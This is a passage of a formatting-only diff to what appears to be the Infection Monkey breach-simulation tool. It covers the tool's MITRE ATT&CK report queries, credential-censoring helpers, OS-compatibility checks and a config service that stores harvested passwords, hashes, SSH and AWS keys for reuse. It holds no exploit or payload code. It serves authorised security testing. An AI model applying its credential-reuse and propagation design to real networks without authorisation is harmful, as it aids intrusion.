r'\.profile'}}]}}] + return [ + { + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + } + }, + { + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + }, + "result": "$data.result", + } + }, + {"$unwind": "$result"}, + { + "$match": { + "$or": [{"result": {"$regex": r"\.bash"}}, {"result": {"$regex": r"\.profile"}}] + } + }, + ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py index a690086dc64..5e387a6ba86 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py @@ -6,7 +6,9 @@ class T1168(PostBreachTechnique): tech_id = "T1168" - unscanned_msg = "Monkey didn't try scheduling a job on Linux since it didn't run on any Linux machines." + unscanned_msg = ( + "Monkey didn't try scheduling a job on Linux since it didn't run on any Linux machines." + ) scanned_msg = "Monkey tried scheduling a job on the Linux system but failed." used_msg = "Monkey scheduled a job on the Linux system." pba_names = [POST_BREACH_JOB_SCHEDULING] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 2dbf8763814..473e2b9dfd3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -24,14 +24,18 @@ def get_technique_status_and_data(): proxy_count += 1 proxy = proxy.tunnel if proxy_count > 1: - hops.append({'from': initial.get_network_info(), - 'to': proxy.get_network_info(), - 'count': proxy_count}) + hops.append( + { + "from": initial.get_network_info(), + "to": proxy.get_network_info(), + "count": proxy_count, + } + ) status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value return (status, hops) status, hops = get_technique_status_and_data() data = T1188.get_base_data_by_status(status) - data.update({'hops': hops}) + data.update({"hops": hops}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index b87aeb27559..be1b669f69b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -6,22 +6,29 @@ class T1197(AttackTechnique): tech_id = "T1197" - unscanned_msg = "Monkey didn't try to use any bits jobs since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try to use any bits jobs since it didn't run on any Windows machines." + ) scanned_msg = "Monkey tried to use bits jobs but failed." used_msg = "Monkey successfully used bits jobs at least once in the network." @staticmethod def get_report_data(): data = T1197.get_tech_base_data() - bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack', - 'data.technique': T1197.tech_id}}, - {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', - 'usage': '$data.usage'}, - 'ip_addr': {'$first': '$data.machine.ip_addr'}, - 'domain_name': {'$first': '$data.machine.domain_name'}, - 'usage': {'$first': '$data.usage'}, - 'time': {'$first': '$timestamp'}} - }]) + bits_results = mongo.db.telemetry.aggregate( + [ + {"$match": {"telem_category": "attack", "data.technique": T1197.tech_id}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr", "usage": "$data.usage"}, + "ip_addr": {"$first": "$data.machine.ip_addr"}, + "domain_name": {"$first": "$data.machine.domain_name"}, + "usage": {"$first": "$data.usage"}, + "time": {"$first": "$timestamp"}, + } + }, + ] + ) bits_results = list(bits_results) - data.update({'bits_jobs': bits_results}) + data.update({"bits_jobs": bits_results}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index baefcba8e0e..9d4a17bf5ae 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -7,8 +7,12 @@ class T1210(AttackTechnique): tech_id = "T1210" - unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" - scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them." + unscanned_msg = ( + "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" + ) + scanned_msg = ( + "Monkey scanned for remote services on the network, but couldn't exploit any of them." + ) used_msg = "Monkey scanned for remote services and exploited some on the network." @staticmethod @@ -31,29 +35,45 @@ def get_technique_status_and_data(): scanned_services, exploited_services = [], [] else: scanned_services, exploited_services = status_and_data[1], status_and_data[2] - data = {'title': T1210.technique_title()} + data = {"title": T1210.technique_title()} data.update(T1210.get_message_and_status(status)) data.update(T1210.get_mitigation_by_status(status)) - data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) + data.update( + {"scanned_services": scanned_services, "exploited_services": exploited_services} + ) return data @staticmethod def get_scanned_services(): - results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}}, - {'$sort': {'data.service_count': -1}}, - {'$group': { - '_id': {'ip_addr': '$data.machine.ip_addr'}, - 'machine': {'$first': '$data.machine'}, - 'time': {'$first': '$timestamp'}}}]) + results = mongo.db.telemetry.aggregate( + [ + {"$match": {"telem_category": "scan"}}, + {"$sort": {"data.service_count": -1}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr"}, + "machine": {"$first": "$data.machine"}, + "time": {"$first": "$timestamp"}, + } + }, + ] + ) return list(results) @staticmethod def get_exploited_services(): - results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'exploit', 'data.result': True}}, - {'$group': { - '_id': {'ip_addr': '$data.machine.ip_addr'}, - 'service': {'$first': '$data.info'}, - 'machine': {'$first': '$data.machine'}, - 'time': {'$first': '$timestamp'}}}]) + results = mongo.db.telemetry.aggregate( + [ + {"$match": {"telem_category": "exploit", "data.result": True}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr"}, + "service": {"$first": "$data.info"}, + "machine": {"$first": "$data.machine"}, + "time": {"$first": "$timestamp"}, + } + }, + ] + ) return list(results) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py index 796c1a043f2..6ed73765a96 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -6,15 +6,21 @@ class T1216(PostBreachTechnique): tech_id = "T1216" - unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\ - "pre-existing signed script since it didn't run on any Windows machines. " +\ - "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\ - "bypass application control and signature validation on systems." - scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\ - "pre-existing signed script on Windows but failed. " +\ - "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\ - "bypass application control and signature validation on systems." - used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\ - "This behavior could be abused by adversaries to execute malicious files that could " +\ - "bypass application control and signature validation on systems." + unscanned_msg = ( + "Monkey didn't attempt to execute an arbitrary program with the help of a " + + "pre-existing signed script since it didn't run on any Windows machines. " + + "If successful, this behavior could be abused by adversaries to execute malicious files that could " + + "bypass application control and signature validation on systems." + ) + scanned_msg = ( + "Monkey attempted to execute an arbitrary program with the help of a " + + "pre-existing signed script on Windows but failed. " + + "If successful, this behavior could be abused by adversaries to execute malicious files that could " + + "bypass application control and signature validation on systems." + ) + used_msg = ( + "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " + + "This behavior could be abused by adversaries to execute malicious files that could " + + "bypass application control and signature validation on systems." + ) pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py index 940c9e8eae1..3a6ba6f9772 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -11,14 +11,28 @@ class T1222(AttackTechnique): scanned_msg = "Monkey tried to change file permissions, but failed." used_msg = "Monkey successfully changed file permissions in network systems." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': 'T1222', - 'data.status': ScanStatus.USED.value}}, - {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + query = [ + { + "$match": { + "telem_category": "attack", + "data.technique": "T1222", + "data.status": ScanStatus.USED.value, + } + }, + { + "$group": { + "_id": { + "machine": "$data.machine", + "status": "$data.status", + "command": "$data.command", + } + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] @staticmethod def get_report_data(): data = T1222.get_tech_base_data() - data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))}) + data.update({"commands": list(mongo.db.telemetry.aggregate(T1222.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py index c2ed8d3f8db..d348c921b10 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py @@ -13,11 +13,23 @@ class T1504(PostBreachTechnique): @staticmethod def get_pba_query(*args): - return [{'$match': {'telem_category': 'post_breach', - 'data.name': POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION}}, - {'$project': {'_id': 0, - 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]}, - 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]}, - 'result': '$data.result'}}, - {'$unwind': '$result'}, - {'$match': {'result': {'$regex': r'profile\.ps1'}}}] + return [ + { + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + } + }, + { + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + }, + "result": "$data.result", + } + }, + {"$unwind": "$result"}, + {"$match": {"result": {"$regex": r"profile\.ps1"}}}, + ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 61c1f89bd20..7cdf9010c28 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -10,8 +10,10 @@ logger = logging.getLogger(__name__) -disabled_msg = "This technique has been disabled. " +\ - "You can enable it from the [configuration page](../../configure)." +disabled_msg = ( + "This technique has been disabled. " + + "You can enable it from the [configuration page](../../configure)." +) class AttackTechnique(object, metaclass=abc.ABCMeta): @@ -65,13 +67,21 @@ def technique_status(cls): """ if not cls._is_enabled_in_config(): return ScanStatus.DISABLED.value - elif mongo.db.telemetry.find_one({'telem_category': 'attack', - 'data.status': ScanStatus.USED.value, - 'data.technique': cls.tech_id}): + elif mongo.db.telemetry.find_one( + { + "telem_category": "attack", + "data.status": ScanStatus.USED.value, + "data.technique": cls.tech_id, + } + ): return ScanStatus.USED.value - elif mongo.db.telemetry.find_one({'telem_category': 'attack', - 'data.status': ScanStatus.SCANNED.value, - 'data.technique': cls.tech_id}): + elif mongo.db.telemetry.find_one( + { + "telem_category": "attack", + "data.status": ScanStatus.SCANNED.value, + "data.technique": cls.tech_id, + } + ): return ScanStatus.SCANNED.value else: return ScanStatus.UNSCANNED.value @@ -83,7 +93,7 @@ def get_message_and_status(cls, status): :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ - return {'message': cls.get_message_by_status(status), 'status': status} + return {"message": cls.get_message_by_status(status), "status": status} @classmethod def get_message_by_status(cls, status): @@ -106,7 +116,7 @@ def technique_title(cls): """ :return: techniques title. E.g. "T1110 Brute force" """ - return AttackConfig.get_technique(cls.tech_id)['title'] + return AttackConfig.get_technique(cls.tech_id)["title"] @classmethod def get_tech_base_data(cls): @@ -117,16 +127,16 @@ def get_tech_base_data(cls): data = {} status = cls.technique_status() title = cls.technique_title() - data.update({'status': status, - 'title': title, - 'message': cls.get_message_by_status(status)}) + data.update( + {"status": status, "title": title, "message": cls.get_message_by_status(status)} + ) data.update(cls.get_mitigation_by_status(status)) return data @classmethod def get_base_data_by_status(cls, status): data = cls.get_message_and_status(status) - data.update({'title': cls.technique_title()}) + data.update({"title": cls.technique_title()}) data.update(cls.get_mitigation_by_status(status)) return data @@ -134,14 +144,19 @@ def get_base_data_by_status(cls, status): def get_mitigation_by_status(cls, status: ScanStatus) -> dict: if status == ScanStatus.USED.value: mitigation_document = AttackMitigations.get_mitigation_by_technique_id(str(cls.tech_id)) - return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']} + return {"mitigations": mitigation_document.to_mongo().to_dict()["mitigations"]} else: return {} @classmethod def is_status_disabled(cls, get_technique_status_and_data) -> bool: def check_if_disabled_in_config(): - return (ScanStatus.DISABLED.value, []) if not cls._is_enabled_in_config() else get_technique_status_and_data() + return ( + (ScanStatus.DISABLED.value, []) + if not cls._is_enabled_in_config() + else get_technique_status_and_data() + ) + return check_if_disabled_in_config @classmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index da475c697ac..1366f0d3a88 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -25,33 +25,45 @@ def get_pba_query(cls, post_breach_action_names): :return: Mongo query that parses attack telemetries for a simple report component (gets machines and post-breach action usage). """ - return [{'$match': {'telem_category': 'post_breach', - '$or': [{'data.name': pba_name} for pba_name in post_breach_action_names]}}, - {'$project': {'_id': 0, - 'machine': {'hostname': '$data.hostname', - 'ips': ['$data.ip']}, - 'result': '$data.result'}}] + return [ + { + "$match": { + "telem_category": "post_breach", + "$or": [{"data.name": pba_name} for pba_name in post_breach_action_names], + } + }, + { + "$project": { + "_id": 0, + "machine": {"hostname": "$data.hostname", "ips": ["$data.ip"]}, + "result": "$data.result", + } + }, + ] @classmethod def get_report_data(cls): """ :return: Technique's report data aggregated from the database """ + @cls.is_status_disabled def get_technique_status_and_data(): info = list(mongo.db.telemetry.aggregate(cls.get_pba_query(cls.pba_names))) status = ScanStatus.UNSCANNED.value if info: - successful_PBAs = mongo.db.telemetry.count({ - '$or': [{'data.name': pba_name} for pba_name in cls.pba_names], - 'data.result.1': True - }) + successful_PBAs = mongo.db.telemetry.count( + { + "$or": [{"data.name": pba_name} for pba_name in cls.pba_names], + "data.result.1": True, + } + ) status = ScanStatus.USED.value if successful_PBAs else ScanStatus.SCANNED.value return (status, info) - data = {'title': cls.technique_title()} + data = {"title": cls.technique_title()} status, info = get_technique_status_and_data() data.update(cls.get_base_data_by_status(status)) - data.update({'info': info}) + data.update({"info": info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 6921b0129ac..0a9a1045b23 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -7,16 +7,16 @@ def parse_creds(attempt): :param attempt: login attempt from database :return: string with username and used password/hash """ - username = attempt['user'] - creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])}, - 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)}, - 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, - 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}} + username = attempt["user"] + creds = { + "lm_hash": {"type": "LM hash", "output": censor_hash(attempt["lm_hash"])}, + "ntlm_hash": {"type": "NTLM hash", "output": censor_hash(attempt["ntlm_hash"], 20)}, + "ssh_key": {"type": "SSH key", "output": attempt["ssh_key"]}, + "password": {"type": "Plaintext password", "output": censor_password(attempt["password"])}, + } for key, cred in list(creds.items()): if attempt[key]: - return '%s ; %s : %s' % (username, - cred['type'], - cred['output']) + return "%s ; %s : %s" % (username, cred["type"], cred["output"]) def censor_password(password, plain_chars=3, secret_chars=5): @@ -30,7 +30,7 @@ def censor_password(password, plain_chars=3, secret_chars=5): if not password: return "" password = get_encryptor().dec(password) - return password[0:plain_chars] + '*' * secret_chars + return password[0:plain_chars] + "*" * secret_chars def censor_hash(hash_, plain_chars=5): @@ -43,4 +43,4 @@ def censor_hash(hash_, plain_chars=5): if not hash_: return "" hash_ = get_encryptor().dec(hash_) - return hash_[0: plain_chars] + ' ...' + return hash_[0:plain_chars] + " ..." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py index 8622075057c..bfa406b96b4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -14,10 +14,12 @@ def parse_usages(usage): :return: usage string """ try: - usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + usage["usage"] = UsageEnum[usage["usage"]].value[usage["status"]] except KeyError: - logger.error("Error translating usage enum. into string. " - "Check if usage enum field exists and covers all telem. statuses.") + logger.error( + "Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses." + ) return usage @classmethod @@ -35,17 +37,30 @@ def get_usage_query(cls): :return: Query that parses attack telemetries for a simple report component (gets machines and attack technique usage). """ - return [{'$match': {'telem_category': 'attack', - 'data.technique': cls.tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'usage': '$data.usage'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + return [ + {"$match": {"telem_category": "attack", "data.technique": cls.tech_id}}, + { + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", + } + }, + { + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "usage": "$data.usage", + } + }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + {"$group": {"_id": {"machine": "$machine", "status": "$status", "usage": "$usage"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] diff --git a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py index 4866a6729f5..44297795c8e 100644 --- a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py @@ -4,12 +4,11 @@ class TestMitreApiInterface(TestCase): - def test_get_all_mitigations(self): mitigations = MitreApiInterface.get_all_mitigations() self.assertIsNotNone((len(mitigations.items()) >= 282)) mitigation = next(iter(mitigations.values())) - self.assertEqual(mitigation['type'], "course-of-action") - self.assertIsNotNone(mitigation['name']) - self.assertIsNotNone(mitigation['description']) - self.assertIsNotNone(mitigation['external_references']) + self.assertEqual(mitigation["type"], "course-of-action") + self.assertIsNotNone(mitigation["name"]) + self.assertIsNotNone(mitigation["description"]) + self.assertIsNotNone(mitigation["external_references"]) diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py index 2d8a1405546..05bdac8f180 100644 --- a/monkey/monkey_island/cc/services/bootloader.py +++ b/monkey/monkey_island/cc/services/bootloader.py @@ -4,20 +4,22 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeCreationException, NodeService -from monkey_island.cc.services.utils.bootloader_config import MIN_GLIBC_VERSION, SUPPORTED_WINDOWS_VERSIONS +from monkey_island.cc.services.utils.bootloader_config import ( + MIN_GLIBC_VERSION, + SUPPORTED_WINDOWS_VERSIONS, +) from monkey_island.cc.services.utils.node_states import NodeStates class BootloaderService: - @staticmethod def parse_bootloader_telem(telem: Dict) -> bool: - telem['ips'] = BootloaderService.remove_local_ips(telem['ips']) - if telem['os_version'] == "": - telem['os_version'] = "Unknown OS" + telem["ips"] = BootloaderService.remove_local_ips(telem["ips"]) + if telem["os_version"] == "": + telem["os_version"] = "Unknown OS" telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem) - mongo.db.bootloader_telems.update({'_id': telem_id}, {'$setOnInsert': telem}, upsert=True) + mongo.db.bootloader_telems.update({"_id": telem_id}, {"$setOnInsert": telem}, upsert=True) will_monkey_run = BootloaderService.is_os_compatible(telem) try: @@ -26,33 +28,33 @@ def parse_bootloader_telem(telem: Dict) -> bool: # Didn't find the node, but allow monkey to run anyways return True - node_group = BootloaderService.get_next_node_state(node, telem['system'], will_monkey_run) - if 'group' not in node or node['group'] != node_group.value: - NodeService.set_node_group(node['_id'], node_group) + node_group = BootloaderService.get_next_node_state(node, telem["system"], will_monkey_run) + if "group" not in node or node["group"] != node_group.value: + NodeService.set_node_group(node["_id"], node_group) return will_monkey_run @staticmethod def get_next_node_state(node: Dict, system: str, will_monkey_run: bool) -> NodeStates: - group_keywords = [system, 'monkey'] - if 'group' in node and node['group'] == 'island': - group_keywords.extend(['island', 'starting']) + group_keywords = [system, "monkey"] + if "group" in node and node["group"] == "island": + group_keywords.extend(["island", "starting"]) else: - group_keywords.append('starting') if will_monkey_run else group_keywords.append('old') + group_keywords.append("starting") if will_monkey_run else group_keywords.append("old") node_group = NodeStates.get_by_keywords(group_keywords) return node_group @staticmethod def get_mongo_id_for_bootloader_telem(bootloader_telem) -> ObjectId: - ip_hash = hex(hash(str(bootloader_telem['ips'])))[3:15] - hostname_hash = hex(hash(bootloader_telem['hostname']))[3:15] + ip_hash = hex(hash(str(bootloader_telem["ips"])))[3:15] + hostname_hash = hex(hash(bootloader_telem["hostname"]))[3:15] return ObjectId(ip_hash + hostname_hash) @staticmethod def is_os_compatible(bootloader_data) -> bool: - if bootloader_data['system'] == 'windows': - return BootloaderService.is_windows_version_supported(bootloader_data['os_version']) - elif bootloader_data['system'] == 'linux': - return BootloaderService.is_glibc_supported(bootloader_data['glibc_version']) + if bootloader_data["system"] == "windows": + return BootloaderService.is_windows_version_supported(bootloader_data["os_version"]) + elif bootloader_data["system"] == "linux": + return BootloaderService.is_glibc_supported(bootloader_data["glibc_version"]) @staticmethod def is_windows_version_supported(windows_version) -> bool: @@ -61,8 +63,8 @@ def is_windows_version_supported(windows_version) -> bool: @staticmethod def is_glibc_supported(glibc_version_string) -> bool: glibc_version_string = glibc_version_string.lower() - glibc_version = glibc_version_string.split(' ')[-1] - return glibc_version >= str(MIN_GLIBC_VERSION) and 'eglibc' not in glibc_version_string + glibc_version = glibc_version_string.split(" ")[-1] + return glibc_version >= str(MIN_GLIBC_VERSION) and "eglibc" not in glibc_version_string @staticmethod def remove_local_ips(ip_list) -> List[str]: diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/bootloader_test.py index f71c36184ed..81c4affffac 100644 --- a/monkey/monkey_island/cc/services/bootloader_test.py +++ b/monkey/monkey_island/cc/services/bootloader_test.py @@ -10,23 +10,24 @@ "6.1": "Windows 7/server 2008R2", "6.2": "Windows 8/server 2012", "6.3": "Windows 8.1/server 2012R2", - "10.0": "Windows 10/server 2016-2019" + "10.0": "Windows 10/server 2016-2019", } MIN_GLIBC_VERSION = 2.14 class TestBootloaderService(TestCase): - def test_is_glibc_supported(self): str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15" str2 = "ldd (GNU libc) 2.12" str3 = "ldd (GNU libc) 2.28" str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23" - self.assertTrue(not BootloaderService.is_glibc_supported(str1) and - not BootloaderService.is_glibc_supported(str2) and - BootloaderService.is_glibc_supported(str3) and - BootloaderService.is_glibc_supported(str4)) + self.assertTrue( + not BootloaderService.is_glibc_supported(str1) + and not BootloaderService.is_glibc_supported(str2) + and BootloaderService.is_glibc_supported(str3) + and BootloaderService.is_glibc_supported(str4) + ) def test_remove_local_ips(self): ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 9fd8e341757..5978431d637 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -14,24 +14,29 @@ __author__ = "itay.mizeretz" -from common.config_value_paths import (AWS_KEYS_PATH, EXPORT_MONKEY_TELEMS_PATH, - LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, - PASSWORD_LIST_PATH, SSH_KEYS_PATH, - STARTED_ON_ISLAND_PATH, USER_LIST_PATH) +from common.config_value_paths import ( + AWS_KEYS_PATH, + EXPORT_MONKEY_TELEMS_PATH, + LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + PASSWORD_LIST_PATH, + SSH_KEYS_PATH, + STARTED_ON_ISLAND_PATH, + USER_LIST_PATH, +) logger = logging.getLogger(__name__) # This should be used for config values of array type (array of strings only) -ENCRYPTED_CONFIG_VALUES = \ - [ - PASSWORD_LIST_PATH, - LM_HASH_LIST_PATH, - NTLM_HASH_LIST_PATH, - SSH_KEYS_PATH, - AWS_KEYS_PATH + ['aws_access_key_id'], - AWS_KEYS_PATH + ['aws_secret_access_key'], - AWS_KEYS_PATH + ['aws_session_token'] - ] +ENCRYPTED_CONFIG_VALUES = [ + PASSWORD_LIST_PATH, + LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + SSH_KEYS_PATH, + AWS_KEYS_PATH + ["aws_access_key_id"], + AWS_KEYS_PATH + ["aws_secret_access_key"], + AWS_KEYS_PATH + ["aws_session_token"], +] class ConfigService: @@ -49,13 +54,16 @@ def get_config(is_initial_config=False, should_decrypt=True, is_island=False): :param is_island: If True, will include island specific configuration parameters. :return: The entire global config. """ - config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {} - for field in ('name', '_id'): + config = ( + mongo.db.config.find_one({"name": "initial" if is_initial_config else "newconfig"}) + or {} + ) + for field in ("name", "_id"): config.pop(field, None) if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) if not is_island: - config.get('cnc', {}).pop('aws_config', None) + config.get("cnc", {}).pop("aws_config", None) return config @staticmethod @@ -68,8 +76,10 @@ def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt= (if it's in the list of encrypted config values). :return: The value of the requested config key. """ - config_key = functools.reduce(lambda x, y: x + '.' + y, config_key_as_arr) - config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) + config_key = functools.reduce(lambda x, y: x + "." + y, config_key_as_arr) + config = mongo.db.config.find_one( + {"name": "initial" if is_initial_config else "newconfig"}, {config_key: 1} + ) for config_key_part in config_key_as_arr: config = config[config_key_part] if should_decrypt: @@ -83,8 +93,7 @@ def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt= @staticmethod def set_config_value(config_key_as_arr, value): mongo_key = ".".join(config_key_as_arr) - mongo.db.config.update({'name': 'newconfig'}, - {"$set": {mongo_key: value}}) + mongo.db.config.update({"name": "newconfig"}, {"$set": {mongo_key: value}}) @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): @@ -107,71 +116,67 @@ def get_config_schema(): @staticmethod def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_encrypt): - item_key = '.'.join(item_path_array) + item_key = ".".join(item_path_array) items_from_config = ConfigService.get_config_value(item_path_array, False, should_encrypt) if item_value in items_from_config: return if should_encrypt: item_value = get_encryptor().enc(item_value) mongo.db.config.update( - {'name': 'newconfig'}, - {'$addToSet': {item_key: item_value}}, - upsert=False + {"name": "newconfig"}, {"$addToSet": {item_key: item_value}}, upsert=False ) mongo.db.monkey.update( - {}, - {'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}}, - multi=True + {}, {"$addToSet": {"config." + item_key.split(".")[-1]: item_value}}, multi=True ) @staticmethod def creds_add_username(username): - ConfigService.add_item_to_config_set_if_dont_exist(USER_LIST_PATH, - username, - should_encrypt=False) + ConfigService.add_item_to_config_set_if_dont_exist( + USER_LIST_PATH, username, should_encrypt=False + ) @staticmethod def creds_add_password(password): - ConfigService.add_item_to_config_set_if_dont_exist(PASSWORD_LIST_PATH, - password, - should_encrypt=True) + ConfigService.add_item_to_config_set_if_dont_exist( + PASSWORD_LIST_PATH, password, should_encrypt=True + ) @staticmethod def creds_add_lm_hash(lm_hash): - ConfigService.add_item_to_config_set_if_dont_exist(LM_HASH_LIST_PATH, - lm_hash, - should_encrypt=True) + ConfigService.add_item_to_config_set_if_dont_exist( + LM_HASH_LIST_PATH, lm_hash, should_encrypt=True + ) @staticmethod def creds_add_ntlm_hash(ntlm_hash): - ConfigService.add_item_to_config_set_if_dont_exist(NTLM_HASH_LIST_PATH, - ntlm_hash, - should_encrypt=True) + ConfigService.add_item_to_config_set_if_dont_exist( + NTLM_HASH_LIST_PATH, ntlm_hash, should_encrypt=True + ) @staticmethod def ssh_add_keys(public_key, private_key, user, ip): if not ConfigService.ssh_key_exists( - ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip): + ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip + ): 